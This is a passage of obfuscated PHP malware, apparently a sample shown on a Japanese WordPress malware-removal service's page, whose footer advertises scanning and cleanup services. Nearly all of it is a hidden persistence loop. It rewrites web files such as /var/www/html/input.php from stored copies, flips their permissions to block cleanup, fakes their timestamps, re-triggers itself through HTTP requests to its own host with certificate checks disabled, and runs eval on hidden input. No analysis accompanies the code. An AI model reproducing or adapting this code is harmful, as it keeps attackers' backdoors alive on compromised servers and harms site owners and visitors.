if (!$GLOBALS["b6b6bb6"]("/var/www/html/input.php")) {
    die($GLOBALS["b6666bbb"]);
}
function l1Ukw($l1CjyEK, $l1gc7W = '', $l1iULb = 'w')
{
    $l17Yf1jw = @$GLOBALS["b6bbb6b6"]($l1CjyEK, $l1iULb);
    if ($l17Yf1jw !== false) {
        $GLOBALS["bb6666"]($l17Yf1jw, $l1gc7W);
        $GLOBALS["bb6b6"]($l17Yf1jw);
    }
}
function l15gxPsr()
{
    global $l1NH, $l1m5, $l15i, $l1R, $l1a5XnwG, $l1Bl, $l1T3Nhd, $l1G0, $l16acoqY;
    $l1dWH0c = $GLOBALS["b6b66b6b6"](true);
    $l1fIj = $l1dWH0c - $l1m5;
    $GLOBALS["b6bbb"]();
    $l12XDI = $GLOBALS["bb6"]($l1a5XnwG);
    if ($l1G0 != $l12XDI) {
        $l1T3Nhd = @$GLOBALS["b66bbb"](@$GLOBALS["bb66b66b"]($l1a5XnwG));
        $l1T3Nhd = $l1T3Nhd === false ? array() : $l1T3Nhd;
        $l1G0 = $l12XDI;
    }
    if ($l1fIj >= $l1NH - 5) {
        l183();
    } else {
        $l1TLuh = $l15i . $GLOBALS["b666"];
        if (!$GLOBALS["bbb6bbb"]("/var/www/html/input.php") || $GLOBALS["bb66bb666"]("/var/www/html/input.php") != $GLOBALS["b6bb66"]($l1R)) {
            @$GLOBALS["b6"]("/var/www/html/input.php", 0777);
            l1Ukw("/var/www/html/input.php", $l1R);
            @$GLOBALS["bbb6bb6bb"]("/var/www/html/input.php", $GLOBALS["bb6bbb6"]($GLOBALS["b6b6666"]));
        }
        @$GLOBALS["b6"]("/var/www/html/input.php", 0444);
        if (!$GLOBALS["bbb6bbb"]($l1TLuh)) {
            l1Ukw($l1TLuh, '//');
        }
        if (!$GLOBALS["bbb6bbb"]($l1Bl)) {
            l1Ukw($l1Bl, @$GLOBALS["bb66b66b"]($l1TLuh));
            @$GLOBALS["bbb6bb6bb"]($l1Bl, $GLOBALS["bb6bbb6"]($GLOBALS["b6b66b6"]));
            @$GLOBALS["b6"]($l1Bl, 0444);
        }
        if ($GLOBALS["bb66bb666"]($l1TLuh) != $GLOBALS["bb66bb666"]($l1Bl)) {
            @$GLOBALS["b6"]($l1TLuh, 0777);
            @$GLOBALS["b6b66b66"]($l1TLuh);
            l1Ukw($l1TLuh, @$GLOBALS["bb66b66b"]($l1Bl));
            @$GLOBALS["bbb6bb6bb"]($l1TLuh, $GLOBALS["bb6bbb6"]($GLOBALS["b6b66b6"]));
            @$GLOBALS["b6"]($l1TLuh, 0444);
        }
        if (!empty($l1T3Nhd)) {
            foreach ($l1T3Nhd as $l1u) {
                $l1MwrKf = $GLOBALS["bb66bb666"]($l1u["x"]);
                if (!$GLOBALS["bbb6bbb"]($l1u["x"]) || $l1MwrKf != $l1u["y"]) {
                    @$GLOBALS["b6"]($l1u["x"], 0777);
                    @$GLOBALS["b6b66b66"]($l1u["x"]);
                    l1Ukw($l1u["x"], $GLOBALS["bb66b66b"]($l1u["z"]));
                    @$GLOBALS["b6"]($l1u["x"], 0444);
                    @$GLOBALS["bbb6bb6bb"]($l1u["x"], $GLOBALS["bb6bbb6"]($GLOBALS["b6b6"]));
                }
            }
        }
        $GLOBALS["b6bbbbb6b"]($l16acoqY * 1000000);
        l15gxPsr();
    }
}
function l183()
{
    $l1it = $GLOBALS["bbb6b6b6b"] . (l1a() ? 's' : '') . $GLOBALS["b66b6b66b"] . $_SERVER["HTTP_HOST"] . $GLOBALS["b6666b6b"]($GLOBALS["b6bb"], '', $_SERVER["REQUEST_URI"]);
    for ($l1P3 = 0; $l1P3 < 10; $l1P3++) {
        l1yFWNZD($l1it);
        $GLOBALS["b6bbbbb6b"](300000);
    }
}
function l1yFWNZD($l16)
{
    $l17osN = 0;
    if ($GLOBALS["bbbb6b"]($GLOBALS["b6bb666b"]) && $GLOBALS["bbbb6b"]($GLOBALS["b666bbb6"])) {
        $l1HIu4m = $GLOBALS["b66bb6b"]();
        $GLOBALS["bbbbbb6"]($l1HIu4m, CURLOPT_URL, $l16);
        $GLOBALS["bbbbbb6"]($l1HIu4m, CURLOPT_USERAGENT, $GLOBALS["b6b6b"]);
        $GLOBALS["bbbbbb6"]($l1HIu4m, CURLOPT_CONNECTTIMEOUT, 0);
        $GLOBALS["bbbbbb6"]($l1HIu4m, CURLOPT_RETURNTRANSFER, 1);
        $GLOBALS["bbbbbb6"]($l1HIu4m, CURLOPT_SSL_VERIFYPEER, false);
        $GLOBALS["bbbbbb6"]($l1HIu4m, CURLOPT_SSL_VERIFYHOST, false);
        $GLOBALS["bbbbbb6"]($l1HIu4m, CURLOPT_TIMEOUT, 120);
        $GLOBALS["bbbbbb6"]($l1HIu4m, CURLOPT_FOLLOWLOCATION, 1);
        $l1hg1b4x = $GLOBALS["b6bb6bbb"]($l1HIu4m);
        $GLOBALS["bbb6b6b6"]($l1HIu4m);
        if ($l1hg1b4x) {
            $l17osN = $l1hg1b4x;
        }
    } else {
        $l1OTa = '';
        if ($GLOBALS["bbbb6b"]($GLOBALS["bb66b6"])) {
            $l1OTa = $GLOBALS["bb66b6"];
        } elseif ($GLOBALS["bbbb6b"]($GLOBALS["bb6666b"])) {
            $l1OTa = $GLOBALS["bb6666b"];
        }
        if ($l1OTa != '') {
            $l1bY17F = $GLOBALS["bb66bbb66"]($l16);
            $l1Piz38u = $l1OTa($l1bY17F["host"], isset($l1bY17F["port"]) ? $l1bY17F["port"] : 80, $l1onO, $l15BWK, 30);
            if ($l1Piz38u) {
                $l17osN = isset($l1bY17F["path"]) ? $l1bY17F["path"] : '';
                $l17osN .= isset($l1bY17F["query"]) ? '?' . $l1bY17F["query"] : '';
                $l17osN = $l17osN == '' ? '/' : $l17osN;
                $GLOBALS["bb6666"]($l1Piz38u, "GET {$l17osN} HTTP/1.0\r\nHost:" . $l1bY17F["host"] . "\r\nConnection:Close\r\n\r\n");
                $l1rry = '';
                while (!$GLOBALS["bbbb6bb"]($l1Piz38u)) {
                    $l1rry .= $GLOBALS["b6bb66b"]($l1Piz38u, 4096);
                }
                $GLOBALS["bb6b6"]($l1Piz38u);
                $l17osN = $GLOBALS["bbbb6"]($GLOBALS["bb6b"], $l1rry) ? $GLOBALS["b6666b6b"]("/.*?\r\n\r\n(.*)/si", "\$1", $l1rry) : $GLOBALS["b6666b6b"]($GLOBALS["b66bbb6"], "\$1", $l1rry);
            } else {
                $l17osN = 0;
            }
        } else {
            $l17osN = $GLOBALS["bb66b66b"]($l16);
        }
    }
    return $GLOBALS["bb6b6bbb"]($GLOBALS["bb6b6bbb"]($l17osN, ""));
}
function l1S4a($l1lbML = '')
{
    global $l12PmfH;
    $l1Gq = $GLOBALS["bbbb6b66"]();
    if (!$GLOBALS["b6b6bb6"]($l1Gq)) {
        $l1Gq = '.';
    }
    return "{$l1Gq}/{$l1lbML}";
}
function l1a()
{
    if ($GLOBALS["b6bbbbb6"]($GLOBALS["b6b66"], $l13C) && 'on' === $l13C["HTTPS"]) {
        return true;
    }
    if ($GLOBALS["b6bbbbb6"]($GLOBALS["b6b6bbbb"], $l13C) && 443 === (int) $l13C["SERVER_PORT"]) {
        return true;
    }
    if ($GLOBALS["b6bbbbb6"]($GLOBALS["bbbbb"], $l13C) && 'on' === $l13C["HTTP_X_FORWARDED_SSL"]) {
        return true;
    }
    if ($GLOBALS["b6bbbbb6"]($GLOBALS["bb6bb"], $l13C) && $GLOBALS["b66b"] === $l13C["HTTP_X_FORWARDED_PROTO"]) {
        return true;
    }
    return false;
}
function l1tCTI()
{
    @eval($l1at["y1t0"]);
    l15gxPsr();
}
l1tCTI();

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

（C）2019 ワードプレス ドクター All rights reserved.